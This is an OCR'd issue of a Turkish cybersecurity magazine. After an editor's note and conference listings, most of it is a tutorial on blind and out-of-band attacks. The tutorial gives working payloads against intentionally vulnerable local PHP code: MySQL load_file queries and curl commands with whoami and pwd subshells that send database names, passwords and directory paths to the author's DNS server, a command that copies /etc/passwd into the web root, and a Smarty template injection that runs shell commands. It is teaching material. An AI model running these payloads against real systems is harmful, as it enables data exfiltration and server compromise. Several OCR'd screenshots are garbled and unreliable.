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Editor's Note

Hello dear readers!

Welcome to the September-October‘19 issue of Arka
Kapi Magazine. As we brought you the seventh issue,
we have also left a year behind. I would like to thank
each and every person that read, liked and helped
share the news about our magazine. In late September
or October 2019, we will organize a meetup in honour
of the magazine’s very anniversary celebration in Is-
tanbul and will welcome everyone with pizza! Keep up
to date with our social media accounts - linked below
- for current news and details of the meetup.

There is a lot of hard work, dedication and commit-
ment put into this magazine, from the authors to the
translators, from the social media directors to the
graphic designer, and many more who work volun-
tarily in hopes of only spreading information and
meeting people with the cybersecurity world. The first

ARKAKAPI MAG

step in a long road is actually the biggest: I would like
to thank our former editorial operations manager and
editor in chief, Umran Yildirimkaya and Ziyahan Al-
beniz, respectively - and the Chief Business Officer,
Oguz Aydinyilmaz and the publishing coordinator
Sahin Solmaz for their help.

This issue, we discussed the good and the bad sides of
cybersecurity, mentioned how to be more anonymous
online (like the TAILS OS and TOR), and gave details
of a terrific attack method - out-of-band attacks!

Thank you for walking with us on this journey.

We would like to thank Netsparker Ltd. for sponsor-
ing this issue!

Cansu Topukcu
editor@arkakapimag.com
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Cyber Security
Conferences

DERBYCON OWASP GLOBAL

APPSECDC
September 4-8, 2019 g*gba' AppSec
Louisville, Kentucky, September 9-13, 2019 o i ARty
United States Washington DC, 2RI :
DerbyCon isnt just another se- Maryland, United States .
curity conference. Their aim is to The OWASP three-day train-
create a fun environment where ing and two-day conference will equip developers, defenders, and advocates
the security community can come to build a more secure web.
together to share ideas and con-
cepts. Info: https://dc.globalappsec.org/

Info:_https://www.derbycon.

/
< ARAB SECURITY [i°5
\\" 1 R 5 CONFERENCE /’ Arab Security Conference
iz Y o
S Tene September 22-23, 2019

- The Nile-Ritz Carlton, Cairo, Egypt
The Arab World generally and Egypt specifically, faces great challenges con-

%ﬂl‘b}' Con IX cerning cyber-crimes. This conference aims to raise awareness about infor-
mation security.
Finish Line
LOUISVILLE, KY - 201% Info: http://bit.ly/2jV2t2]

WORKSHOP ON MACHINE LEARNING FOR
SECURITY AND CRYPTOGRAPHY

September 8, 2019
Istanbul Congress Center, Istanbul, Turkey

This workshop will focus on machine learning solutions for the security
problems in a wide array of computerized systems and networks.

Info: https://mldsec.ceng.metu.edu.tr/
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: Information

k.\ ) Security Network

INFORMATION SECURITY
NETWORK USA

October 07-08, 2019

Newark Liberty International Airport Marri-
ott, New Jersey, United States

Information Security Network USA will cover ar-
eas like digital transformation and information se-
curity, the modern CISO pressures and challenges,
demonstrating the value of the security department,
securing data and threat intelligence, cloud security,
and much more.

Info: http://bit.ly/2k0e7tm

CYBER SECURITY IN
NETWORKING CONFERENCE
(CSNET)

October 23-25, 2019
Quito, Ecuador

The driving theme at CSNet 2019 is Cyber Security in
Networking. The technological disruption is generating
an impact on society and leading to a new industrial
revolution.

Info: https://csnet-conference.org/
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WE PROUD TO MEET YOUR NEED

SHELLCON

October 11-12, 2019
San Pedro, California, United States

ShellCon is an information security conference that is
held yearly in the beautiful beach cities of Los Ange-
les. Their annual conference is a growing event that is
focused on creating an atmosphere of open commu-
nication, collaboration, and connection.

Info: https://shellcon.io/

SHELLCTR
RO\ IR L ISR T

SANS AMSTERDAM

October 28, 2019
Amsterdam Marriott Hotel, Amsterdam,
Netherlands

This conference will provide you with the skills to
defend your organization against security breaches
and prevent future attacks.

Info: http://bit.ly/2kpX9Vf
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Hello everyone! On April 2017, I gave a talk on out-of-band attacks for Hactrick'17 and uploaded the talk to You-
Tube. I received a notification about this video, asking me to write a more detailed and technical article/resource on
Arka Kapr.

Out-of-band (DNS) SQL Injection Demo

Omer Citak
Published on A
Out-of-band (DNS) SQL Injection Demo
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ArkaKam yazansimz bu kadar zor bulunan bir konu hakkinda Arkakapida bir makale yaymlasamz gok
giizel olmaz mi )

REPLY

So, here we are! In this article, I will be talking about the concept and logic of “Out-of-band” and its usage through
some examples.

What does out-of-band mean?

Though it may seem meaningless at first sight, out-of-band actually summarizes the general concept rally well. Let’s
examine word by word. We first need to find the answer to the question of what is band? The band refers to the
capacity of a communication channel. More technically, it refers to the (channel) capacity of the socket opened be-
tween the client and a server when a client sends an HTTP packet to the server. You will understand more with the
upcoming sections of the article.
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Now, talking about the out-of part - no need for confusion, it is the good old outside of as we know it. When these
words are combined, we can say that the out-of-band attack means an attack performed only by exceeding the capacity
of the socket opened between the client and the server.

Speaking in a plainer manner. During an attack, normally an HTTP request is sent. The server receives this request,
produces a result and sends the output back as an HT TP response packet. What is done is that is output is analyzed
and questions like does the attacked input have a vulnerability - if so, does the attack succeed?

For instance, the <> characters are sent to an input subject to an XSS attack. Then, the HTTP Response sent back is
checked if it contains these special characters, and if it does, what context they are in.

In some cases, because of the nature of the vulnerability, the server does not produce a meaningful output. Therefore,
the same output will be produced whether the attack succeeds or fails. So, how do we verify the very existence of a
vulnerability? Normally, we could not - yet after reading this article, you can verify it by using the OOB (out-of-band)
method.

OOB is a general name given to attacks where an outside request is sent from the server. If, during the attack, the
attacked server gives us a meaningless response, what we will do is to basically make the server send a request to a
specified domain or IP address and take some data while doing so. The server that the request will be sent will be
the server we set up intentionally to wait for a request containing the desired data to come. Thus we will extract the
desired data of the attacked server.

We might need to send requests of different protocols depending on the type of the vulnerability - like sometimes
sending FTP, sometimes HTTP and sometimes SMTP requests. There may be some limitations when sending
these requests. In order to overcome these problems, we are going to use DNS as much as it is possible, because
whichever protocol we will have to use, if we want to send the request to a domain name, a DNS query will be
sent to resolve the servers’ IP address. So, we are going to perform data extraction over DNS as much as we can.
That is to say, when using a protocol X, since that protocol has to perform DNS resolving, we will automatically
be done with the DNS.

Blind Vulnerabilities
Blind SQL Injection

I am going to start explaining Blind Vulnerabilities over an SQL Injection, hoping that you already know what an
SQL Injection is. That’s why I'm going to skip what SQL is, how to inject. Below, you can find a code block containing
SQL Injection.

$sql = “SELECT * FROM users WHERE id=".$_ GET[‘id’'];
Sresult = $conn->query($sql);
while($row = $result->fetch_assoc()) {

echo “id: “ . Srow[“id”]. “ - username: “ . Srow[“username”];

Let’s verify that the code above works.
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@ localhost/oob/?id=1 X +
< C @ localhost/oob/?id=1

id: 1 - username: om3rcitak

As it can be seen, the user with ID 1 was fetched from the database and output to us.
Let’s attack this code to refresh our memories. Firstly, on the browser, let’s put a single quotation mark (apostrophe)
at the end of the id parameter inside the QueryString.

& localhost/ocob/7id=1%27 ® +

g G @ localhost/oob/?7id=1%27

Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in C'xampp'htdocs'oobtindex, php: 12

As it can be seen, since the single quotation mark character causes a syntax error in the SQL query, PHP gave an
error. Based on this error, let’s continue the attack using a simple or true payload and proven the very existence of the
vulnerability by turning the SQL query in such a way as to display all the users in the database.

& localthost/oob/?id=1 or true » +
< C' @ localhest/oob,/7id=1%200r%20true

id: 1 - uzername: om3rcitakid: 2 - username: sahinsolmazid: 3 - uzername: elonmuskid: 4 - username: admin

Let’s assume that the developer of this code modified it and made these 2 changes:

1. Turn off PHP error displays.
2. Do not display the output to the screen after fetching the result of the SQL query.

This time, our code will be like this:

// Turn PHP error displays off

ini_set(‘display_errors’, ‘Off');
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error_reporting(~E_ALL);
$sql = “SELECT * FROM users WHERE id=".$_ GET[‘id’'];
Sresult = $conn->query($sql);

// Do not display the output to the screen after fetching the result //of
the SQL query.

// while($row = S$result->fetch_assoc()) {

// echo “id: “ . $row[“id”]. “ - username: “ . S$row[“”username”];

//}

As it can be seen, the developer turned the error messages off and the code block which echoes the code has been
commented out.

Now, let’s try to attack.

& localhost/ooh/fid=1%27 ® -+

< =2 O (@ localhost/oob/fid=1%27

& localhost/oob/Tid=1 or true = +

C @ localhost/oob/?id=1%200r%20true

We attacked in the exact same way we just did, yet there is no visible output. However, by looking at the code above,
we are sure that there is an SQL Injection vulnerability.

Blind vulnerabilities are those who do not directly give us an output like we just experienced.

Blind vulnerabilities are not limited only with SQL Injection. We might as well encounter blind vulnerabilities of
some other high-risk vulnerabilities such as Code Evaluation, XSS and Command Injection.

Blind Command Injection
As we did for SQL Injection, let’s see how this vulnerability emerges, firstly normal(reflected) and then blindly.
<?php

echo shell_exec($_GET[‘’cmd’']);
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There is a reflected vulnerability in the above code since the value returned from the shell_exec function is echoed.
Let’s try exploiting it.

@ localbost/ook, Temd =dir ® 4+
« = (D localhostfoob/ femd=dir
Volume in drive C 15 05 Volume Serial Number 1s 479E-F180 Directory of C:xampp'hitdocs'oob 06/01/2019 22:27
06012019 22:27

« 06/01/2019 23:06 37 index.php 1 File(s) 37 bytes 2 Dir(s) 89,733,455,872 bytes free

@ localhost/oob/femd=more c\W X ==
- @ localhost/ocob/Tomd=more%20c\Windows\win.ini

: for 16-bit app support [fonts] [extensions] [mei extensions] [files] [Mail] MAPI=1 [ResponseResult] ResultCode=0

As seen in the screenshot above, it is possible to see the output of the commands we sent.

Okay, so what would happen if the developer did not echo the value returned from shell exec?
<?php

shell exec($_GET[’cmd’]);

Trying it now.

& localhost/oob/?emd=more chwii X +

&« =2 C (D localhost/oob/7emd=more320c \win.ini

& localhost/oob/fcmd=mare cAW X -

- & @ localhost/oob/7emd=more%:20cAWindows\win.ini

Just as it happened with the Blind SQL Injection, we can not see the output. This is what makes this vulnerability
blind.

Blind Cross-site Scripting

XSS is a vulnerability that structurally requires user interaction. You cannot directly encounter with the server. The
victim has to be using a browser and JavaScript should somehow be run on the victim’s browser.
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Reflected XSS is simple: if a value you sent as an input is directly printed, you can go out of HTMIs context and
prepare a payload for JS. After, if you can somehow make the target (i.e. victim) enter the payload as the input, voila!
you have successfully exploited the vulnerability. The most common input is the one in the Query String: if the input
is in the Query String, you will not have to make the target enter the payload. If you directly send the complete pay-
load-entered URL to the target, the payload will be sent when simply clicked.

The blind version of XSS has to be stored. As we said - if you cannot see the output during the attack, the attack is
blind. Yet, how would an XSS be XSS if we can not see an output? It wouldn’t. Blind XSS happens in cases where
the payload you send is stored and printed to another page which you do not have access/permission to.

Think of as you were writing a simple blog software. Admin logs in, write a blogpost, publishes it, the readers read the
blogpost, and comment. The comments are first stored SOLELY into the admin panel, and are printed to be approved
by the admin. If the admin approves so, the comments will become visible in the site’s interface by unauthorized
users.

If there is an XSS where the comments are printed in the admin panel, this is called blind XSS. Because you will
only see a message like “your comment has been sent successfully, it will be seen after the admin approves”. You
will not be able to see whether there is an XSS at the screen the admin sees or not, and if there is, what context
it is.

@

webpage
"8 Saves Malicious script into

“k___ Injects malicious script | a database
Attacker
<
Allgwr |
User Request data Server <;‘Ir> =
from server
. I Data Containing the

Malicious script is loaded

Victim

</>

Maliscious script may get
executed and call back to the attacaker

Blind vulnerabilities go on like this. I think 3 examples will be enough to understand the concept of blindness.
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Preparation of the Suitable Environment for Data Extraction

To summarize what we explained in the previous sections, we need to send an outside request to the server we want
to perform injection on. In the next section we will see how and what type of requests we can send to which system.

In this section, we need to set the server where the requests from the injection systems will be sent. Types of requests
we can send depending on the exploited system and type of vulnerability may change. We may be requesting some-
times from HTTP, sometimes from FTP, and sometimes from other several protocols. That is why the system we
build needs to be compatible with all of them.

The tool we are going to use is Responder. This tool, written by SpiderLabs, actually works with very simple logic.
You can even write it yourself to understand and learn how the most used protocols work. Simply, a service X listens
to the n' port as if it was up from it. 2 things are done when a packet arrives to the port:

1. The request is logged for us to see.

2. The system that sends the request sends a service-specific response package as expected by the system so that
it does not give any errors.

You can access the source code of the Responder tool with this GitHub repository: https://github.com/SpiderLabs/
Responder

You'll need a server to install Responder. I created a $5 server named oob-test from DigitalOcean.

Now, it is time for the installation and usage of Responder. There are some important points you need should not
forget:

1. After setting the server, do not forget to install Python 2.7 before Responder for Responder does not work
without Python 2.7.

2. Ifyou created the server from a provider with all ports closed, such as AWS, remember to open all of the ports.
3. Be sure to make all operations with root privileges.

After connecting to the server with SSH and installing Python 2.7, pull the Responder repo into the current directory
using the following command:

git clone https://github.com/SpiderLabs/Responder

lone hitps://github. com/Spiderla

authority
ashrc

cloud-locale-test . skip

profile

Next, using the command below, go to the Responder directory, run Responder and test if it works or not.




Omer Citak « Out-of-band Attacks AHKA KA P I

ponder.py

NET-HS, LLMNR

Great! Responder works successfully. Do not care about the -I <if> mandatory option is missing error - this error is
given because we did not provide it an interface to listen. In this step, we just checked if it worked.

It is time for running it in such a state to listen to incoming packets.
When running Responder, we are going to set 2 parameters:

1. -I parameter: The parameter we specify which network interface to listen to. This parameter is mandatory.
With ifconfig command, you can list the interfaces on your system and get the name of your broadcast inter-
face. My broadcast interface is called “eth0”

2. -vparameter: Verbose parameter. I will use it to see the generated logs live on the terminal. It is not mandatory
to use, but we will use it so that we can see the logs instantly.

You can use the ./Responder --help command for other parameters.
I used the following command to run Responder with the necessary parameters set:

./Responder -I eth0 -w

ving EXI
rving HTHL
Upstream Pre

Listening for events...
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As seen, Responder started to listen to ports with the “Listening for events..” message. You can see in the list above
that the ports of some services are listened by default. Since we will work only with DNS, and DNS’s port (53" port)
is listened by default, there is no need to make an extra setting for that.

When I try to access my server’s IP address from the browser, it can be seen that Responder HTTP server service is
up at port 80 and displays incoming logs to the terminal.

[+] Listening for events...
2nding NTLM authentication request to

Sending NTLM authentication request to

Finally, we need to define the IP address of our server as a DNS IP address of a domain name that belongs to us - so
that in order to resolve a DNS request coming to the domain, the DNS query goes to the Responder.

For this operation, I will be using omercitak.com - the domain name I usually use to test these kinds of stuff. After
entering the control panel of my domain name, I first create 2 main domain name server records named ns1 and ns2
and then entering the IP address of the server that Responder is installed on, then hit save.

Ana Bilgisayar IP Adresleri
N52 16199 210.20 1
N5I 16780 210.241 5
L
EKLE

After, I select these records from the Ad Sunuculari (Turkish for Name Servers) page and save.

Ad Sunuculari

Ozellestiriimis ad sunucusu kullanim

Ad sunucusu
nel.omercitak net

ne2 omercitak net

After these operations, when you visit http://omercitak.net/ through the browser, the request you send should be
seen on Responder.

PS. You might not get instant results since the servers your request passes through may have DNS Cache active. In
this case, I recommend you check from time to time for 2-3 hours.

Once done with this step, you can see that 1 DNS packet and 1 HTTP packet have arrived the Responder when we
visited http://omercitak.net/

[+] Listening for events.

[*] [ Polsoned ar r sent to: 212.58.5.2 Requested name

nding NTLM authentication request to

We are now ready to exploit the vulnerabilities!
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Exploiting Vulnerabilities with the OOB Technique

Now, it is OOB’s turn. Think of the blind vulnerabilities above - what did they have in common? Since there were no
outputs while performing the attack, we were clueless of the attack’s situation. In cases like this, the OOB technique
comes to our help.

Although OOB can not be used in every blind vulnerability, it can be used in most of the vulnerabilities.

At the first section, we defined what OOB is - executing the attack by going out of the socket opened between attacker
(client) and the server during the attack. So, how do we actually do this?

There are multiple ways for this but the common point and the logic is the ability to request outside. If we succeed
in sending a request from the attacked server to outside, we can exploit the vulnerability using the OOB technique.

There are multiple ways to send requests from the server to the outside. There may even be some methods you will
develop that no one knows yet. This is a bit open-ended, but usually protocols like HTTP, DNS and FTP are used.

If it is possible to send a packet from any protocol like HTTP, DNS, FTP..., out of the attacked server, it is also pos-
sible to include credential information of the server into that packet and take them out.

p.s. taking data out of a system is called “data exfiltration.”
Here, we face 2 problems:

1. How do we extract data?

2. Where do we send the data?

The solution of the first problem varies. As I said before, we may not be able to exploit every blind vulnerability using
OOB. This partly depends on the methods we can use on the server-side and the configurations made.

For this reason, we need to make some research depending on the vulnerabilities’ type. For instance, taking SQL
Injection as an example, we need to find a method to send a request out of the server inside the query.

Think for a while, move on if you can’t find one :)

Exploiting Blind SQL Injection Vulnerability with OOB Technique
There are some methods specific to each database. Some are default, some need to be configured additionally.
MySQL

There is a variable named secure file privin MySQL. This variable controls import/export files such as LOAD
DATA, OUTFILE and LOAD_FILE(). 3 types of value can be assigned to this variable. Depending on the values as-
signed, the behaviour of MySQL varies as follows:

If,
o A directory path on the system is set : MySQL performs export and import operations only on this directory.

o NULL is set : Command and functions like LOAD DATA, OUTFILE and LOAD_FILE() used in MySQL im-
port and exports are all disabled.

» Nothing is set (empty) : Export and import operations can be done anywhere.

The least secure and the one that will enable us to perform OBOB attack is like the one on the 3rd bullet. If the se-
cure_file_priv variable is not empty, we simply can not perform an OOB attack.
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o This variable is EMPTY by default in MySQL 5.5.34
o This variable is NULL by default in MySQL 5.6.34

Now, what will we do with these export/import functionalities? Commands and functions like LOAD DATA, OUT-
FILE, LOAD_FILE() are able to import files from outside as well. Pay the finest attention you got here, importing a
file from outside means the sending of an HTTP request. We add the data on the MySQL server where we can already
execute injection and execute commands to the file import address. Then, if we follow the incoming requests on the
server where the file is to be imported, we will extract data from inside to outside.

Let’s make an example with LOAD_FILE.

Let’s use the test case we prepared for SQL Injection in the previous section. As mentioned before, I am not going to
go full SQL Injection 101 here. Instead, I will directly show an OOB example.

The command I used for OOB using LOAD_FILE is:
load_file(concat (‘\\\\’, database(), ‘.omercitak.net\\abc’))

In the above command, concat concatenates and database name to be the subdomain of omercitak.net and puts the
resulting string into the load_file function. The above command concatenates the database to be a subdomain of the
domain omercitak.net using the concat function and has placed the resulting string into the load_file function.

Say, if the database name is deneme, the resulting string from the concat function would be like this: \\\\deneme.
omercitak.net\\abc

In order to inject this payload, we need to write such a payload exactly as:
union select load_file(concat(‘\\\\’, database(), ‘.omercitak.net\\abc’)),1,2

On the browser, we send to the vulnerable id parameter.

@ localhaost ook Mid= 1 union sef x ;_-'& URL Decoder/Encode: x +
&= C @ locathost
id: | - nsemame: omdreitakick - nsemame: |
Checking Responder now.

Letters oob can be seen as the subdomain in the DNS log. The database name is 0ob.

Taking a look at the version info.
union select load_file(concat(‘\\\\’, version(), ‘.omercitak.net\\abc’)),1,2
@ localhostfoohTide1 union sal ® .fg URL Decoder/Frcoder % -

&« [ & @ localhost

id: 1 - username: om3rcitakid: - vsemame: 1
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ted Share

We got the version info - 10.1.37 MariaDB.
Now let’s write a subquery and get the users’ passwords in the database.

union select load_file(concat(‘\\\\’, (select password from users where id=1),
‘ .omercitak.net\\abc’)),1,2

@ localhostincky M= unian sehe % | [ LS DecodeyEncad x| +

€ C @ localhest 1 1 1 % 0O

idz 1 - username: om2reitakid: - usermame: |

The password of the first user is 123456
The rest is up to you.

PostgreSQL

No need to reinvent the wheel for PostgreSQL for what I have already done, here is the
demo video’s link for you to watch :)

https://www.youtube.com/watch?v=8It]bYrZOK8

Exploiting Blind Command Injection Vulnerability using OOB Technique

A sample code snippet for Blind Command Injection has been given in the Blind Vulnerabilities section. The recall the code:
<?php

shell_exec($_GET[‘cmd’]);

?2>
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We won't get an output whatever command we run on the system after sending a payload from the Query String cmd
parameter. Before passing to OOB, let’s make a time-based attack and analyse the behaviour.

€ = @ Mot TOLTERSE 1A 1 D I B {_:

28 = F O

Fare Satwn i alin i g Wwrerts .

Srrud-aleep a0 docurment 3614 0000

Asyou can see, I sent the sleep 5 command, and it took 5 long seconds to load the page. You can confirm this by
trying 2-3 times with several intervals.

PS. Since this PHP file works on Linux, I used the sleep command. As far as I can remember, there is no sleep
command on Windows. If the system was Windows, I would have used another command alternative to sleep.

Now, let’s exploit this vulnerability using OOB.

As we said - we need to send an outside request from this server. There are many Linux commands for this, such as
nslookup, wget etc.. We will be using curl.

@ 192.168.52.131/2cmd=curl omer. X -

< [ & (@ Notsecure | 192.168.52.131/?cmd=curl%20omercitak.net

curl omercitak.net

When we send this command directly, we see that the corresponding DNS query comes to our Responder.

Sending NTLM authentication request to
[DNS] Poisoned answer sent to: 193.192.98.16 Requested name: .omercitak.net

[

* ]
[*] [DNS] Poisoned answer sent to: 193.192.98.19 Requested name: .omercitak.net
Sending NTLM authentication request to

Okay, but how do we extract data? For this, we need to understand what subcommand is. On Linux systems, we can
run commands inside commands. We need this to be able to exploit the vulnerability the OOB-way. Just like SQL
Injection, we will send the output of the command as subdomain before the omercitak.net domain name and send
a request with curl.

You can use sub commands in 2 ways on Linux systems:
1. Writing the command inside between grave accents “*” e.g. "whoami'
2. By writing the desired command in place of command in the template $(command). We will be using both.

First, let’s learn the name of the user that the webserver is running.
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curl “whoami” .omercitak.net
192.168.52.131/?cmd=curl omer. X -+

€ X @ 192.168.52.131/?cmd=curl%20'whoami'.omercitak.net

The incoming request to Responder:

[+] Listening for events. ..

[*] [DN5] Poi answer sent to: 193 www . data.omercitak.net
Sending NTLM authentication request to

The user is www-data.

Time to find out the path to the directory that the file runs. This path is critical for us. Because this path is the only
public directory on the system that the webserver is running. If we find this directory out and have a write permis-
sion to, we can make the type of vulnerability go from OOB to Reflected.

The command I need to use to find my current directory is pwd, but I will not be able to use it just like in the previous
command.

curl “whoami” .omercitak.net

The reason it can not be used like that is the slash character “/” at the end of the directory. Since a subdomain can
not contain a slash character, the curl command will throw an error. With the help of sed command, I am going to
replace slash with period “” by applying a simple RegEx pattern.

sed “s/\//./g"” <<< “pwd"

Yet, of course, in order to give this command as a subdomain to omercitak.net, I need to put it in a complete sub-
query. So it should be like this;

curl a$(sed “s/\//./g” <<< “pwd”).omercitak.net

The reason I put letter a after curl and before the § sign is because the returned path is fullpath. Since we replaced
the slash character with period, the returned directory path will be something like “test1.test2.test3”. Also, since a
domain can not start with a period, curl will throw an error. We would either delete the period at the start or prevent
curl from throwing an error by putting a random character just as what I did.

@ 19216852131 femd=curl af(ze X 4

< C* (D Mot secure | 192.168.52.131

Listening for events...

[DN5] Poisoned answer sent to: 193.192.98.16 Requested name: .a.var.www.html.omercitak.net
S5ending NTLM authentication request to
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Output: .a.var.www.html.omercitak.net

We put the letter a at the beginning. If we ignore it and look at the rest, we will see that our directory is “/var/www/html”.
Let us now extract data to the public directory! With a command like

cat /etc/passwd > /var/www/html/dump.txt

I created a file named dump.txt in the public directory and put the output of passwd in it. Here, we do not care if
Response returns empty - we already know that there is a blind vulnerability.

& 19216852.131/femd=cat fele/p X +

<« C @ Notsecure | 192.168.52.131/?cmd=cat¥%20/etc/passwd¥%20> %20 /var/www/html/dump.txt

I will now visit dump.txt from the browser and see if it could write the /etc/passwd file to the public directory.

192.168.52.131/dump.txt » +
< 6~ () Mot secure | 192.168.52.131/dump.txt

reot:x:@:8:root: /root: /bin/bash

daemon:x:1:1:daemon: /usr/sbin: fusr/sbin/nologin

bin:x:2:2:bin:/bin: fusr/sbin/nologin

sys:x:3:3;:sys:/dev:/usr/sbin/nologin

sync:x:4:85534;:sync;: /bin;: /bin/sync
games;x:5:68;:games: fusr/games: fusr/sbin/nologin

man:x;:6:12:man: /var/cache/man: fusr/sbin/nologin

lp:x:7:7:1p: /var/spool/lpd: fusr/sbin/nologin

mail:x:8:8:mail;:/var/mail: fusr/sbin/nologin

news:x:9:9:news: /var/spool/news: fusr/sbin/nologin

uucp:x:18;:18:uucp: fvar/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy: /bin;: fusr/sbin/nologin
www-data:x:33:33 :;www-data;: /fvar/www: fusr/sbin/nologin
backup:x:34;:34:backup: /var/backups: fusr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd: fvar/run/ircd; fusr/sbin/nologin

gnats;:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody; x:65534: 65534 ;nobody : /nonexistent: fusr/sbin/nologin
systemd-timesync:x:108:182:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:181:183;systemd Metwork Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:182:184;systemd Resolver,,,:/run/systemd/resolve; /bin/false
syslog:x:184:188; : fhome/syslog: /bin/false
_apt:x:185:65534; ; /nonexistent; /bin/false

messagebus:x:106:118;; /fvar/run/dbus; /bin/false

wuldd:x:187:111::/runfuuidd: /bin/false

lightdm:x:188:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:;189:117:: /nonexistent: /bin/false

avahi-autoipd:x:118:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:;x:111:128:Avahi mDNS daemon,,,:/var/run/avahi-daemon: /bin/false
dnsmasqg:x:112:65534:dnsmasq, ,, : fvar/lib/misc: /bin/false

colord:x:113:123;:colord colour management daemon,,,:fvar/libfcolord:/bin/false
speech~dispatcher:x:114:29:5peech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIF system user,,,:/var/run/hplip:/bin/false
kernoops:x:;116:65534;:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse;x:117:124:Pulsedudio daemon,,,:/var/run/pulse:/bin/false

Pl w112 -1 - DaaTEimal’s & s Famas s Thin/falea

And the result is as it seems. It is up to you to improve the attack.
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Exploiting Blind SSTI (Server-side Template Injection) vulnerability using OOB
Technique

Modern web applications use Template Engines for reasons such as writing more readable and extensible code and
performance. These template engines become very dangerous if not used with caution.

Many template engines are available in many languages and most of them are vulnerable.
If you do not know what SSTT is, I recommend you read the following blogpost, and then continue reading.

https://www.netsparker.com/blog/web-security/server-side-template-injection/

There is a tool named tplmap to exploit SSTT vulnerabilities, just like sqglmap we use for SQL Injection. The person
that developed tplmap tool has also published some test cases. We are going to run the vulnerable built-in test cases
of the tplmap and try the OOB technique on them.

Tplmap GitHub repo: https://github.com/epinna/tplmap

git clone https://github.com/epinna/tplmap

With the above command, copy the Tplmap tool and all of its test cases on your computer. The following command
is to go to the directory the tests cases’ docker files are in.

cd tplmap/docker_envs/
docker-compose up tplmap_test_php

With the above command, an image is created from Dockerfile using docker-compose, and a new container is cre-
ated using this generated image.

omen@ubuntu: —ftplmap/docker-envs

File Edit View Search Terminal Help

omer@ubuntu:~$ git clone https://github.com/epinna/tplmap

Cloning into 'tplmap'...

remote: Enumerating objects: 4059, done.

remote: Total 4059 (delta 0), reused 0 (delta 0), pack-reused 4059
Receiving objects: 100% (4059/4059), 622.93 KiB | 1.37 MiB/s, done

Resolving deltas: 100% (2682/2682), done.
omer@ubuntu:~$ cd tplmap/docker-envs/
omer@ubuntu:~/tplmap/docker-envs$ docker-compose up tplmap_test ph
p
Creating network "docker-envs default" with the default driver
Building tplmap_test php
Step 1/8 : FROM php:7.2.10-apache

---> a7de8dad7584
Step 2/8 : RUN apt-get update && apt-get install --upgrade dnsutil
s python-pip -y

---> Using cache

---> 4f1e3fd540a0
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Note 1: For the tests to run, docker and docker-compose need to be installed on your machine.

Note 2: As we did above, you can use the docker-compose up tplmap_test_php command to run a test case specific
to only one language, rather than all test cases. If you only run the docker-compose-up command and specify no
service name, all tests will run.

After running the test case, let’s perform our test through Smarty. Let’s send a basic SSTI payload like {5*6} and check

if the mathematical operation is in the response.

& 192.166.52.131:15002/smarty-31. 1 X +
< C (@ Notsecure | 192.168.52.131:15002/smarty-3.1.32-unsecured.php?inj={5"6)

HYkVP6QzSLE9x38lqUeo2

30 can be seen in the response. even if we do not know that we have a vulnerable Smarty here, we could have said that
we highly probably do have a vulnerable Smarty after sending this payload.

Now we'll try command execution on the system over the SSTI vulnerability. That is to say, we are going to make the
vulnerability go from SSTI to Command Injection. Yet of course, not directly: first from SSTI to Code Evaluation,
then Command Injection.

From SSTI to Code Evaluation:

Smarty directly evaluates the codes written in {php} tags. That is to say, if we write {php} print_ r(‘deneme’)
{/php} the code will work.

Since we are able to run code, let’s make it so that we can run commands on the system.
From Code Evaluation to Command Injection:

There is a class name Smarty_Resource that comes built-in with the Smarty Engine and there is a method called
parseResourceName inside this class.

As the name suggests, this method is a method that parses and prints resource names. There are 2 parameters:

For the first parameter, we will enter the PHP code which we want to see the output of, and the second parameter will
be a random letter so that PHP does not give an error.

Note: It is me who developed this method, you can search or it if you want but it is nowhere to be found. I am giving
you a priv8 method. Let this be a favour for Arka Kapi readers :)

In conclusion, the payload will be like this:
{php}print_r(Smarty_ Resource::parseResourceName(system(“ls -1la”),’'b’));{/php}

Now, let’s send the prepared payload to the Query String inj parameter. Let’s see if we will be able to see the output
of the Is -la command.
@ 192 IRRSLIT IS00 s many x | +
= o @ Mot seoure | 192.168.52.131:1500 riy-3.1 reel phip#ing={phy i warty F i ) fesourreames i *ls 7 7
pAMleti TADbetal 40 drwxr-xne-x 1 waw-datas wwrw-data 2086 Jul 5 16:29 , dowsor-aor-x 1 noot root 40896 Sep 5 2008 ., -ow-r—r-- | root root 736 Jul § L6:26 eval php drase-:
16:07 Isb -rw-r--r—- | ro0t oot 759 Jul 5 16:26 smarty-3. 1. 32-secured.php -rw-r-—-r— 1 000t root 865 Jul 5 16:26 smarty-3. 1. 32-unsecured. php dramoax--x 2 waw-data waw

templates_¢ -roeg—-r- | root root 912 hul 5 16:26 tovig-1. 1 9.0-unsecused. php -rwe-rer- 1 root root 912 Jul 5 16:26 twig-1.30.0-secured. php Armay | [0] => -rawr--t— | root ¢
1.20.0-secured.php [1] => b ) KSifjulOls
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Super! We got the output we wanted. Let’s try reading the /etc/passwd file.

{php}print_r(Smarty_ Resource::parseResourceName (system(“cat /etc/pass-
wd”),’'b’));{/php}

@ 1R GRSk manyd | X | o

& C @ Mot secure | 192.16852,131-15002 i : bplprint_riSmart ) i I ; w
Crarxy A3 I Wrootx: o0 roor roorbin bash dacmonex: 1: 1 :daemon: wse'shin: sy shiy nobogin bin:x:2:2:bin: binsnse shin/nologin sysox3:3sys:‘dev:useshin'nologin

syneed 655 34 syncy bin: bin'syne games:x: 560 ganes: use'games: usr/shin/nologin man:xof: | 2mans var'cache' man: fuse/shin mologin Ipex: T: 7:lps varspool 1pd: vsr’'shin
mnilzx; 825 maili var maail: s/ sbin/nologin newson . R iews: var spool 'news:wsr'sbin 'nologin aacpax: 1 0: 10 uecp: varspool uecpaver shin/nlogin procgy:x: 13: L3 proxy ot
wwivsdninex: 333 3 wwew-gdatasvnrawns use'shim nelogm backapo: 34:34:backup: var backups - useshin'nologim hsex: 38 38:Mathng L Monnger: v lest-fuseshinnolog
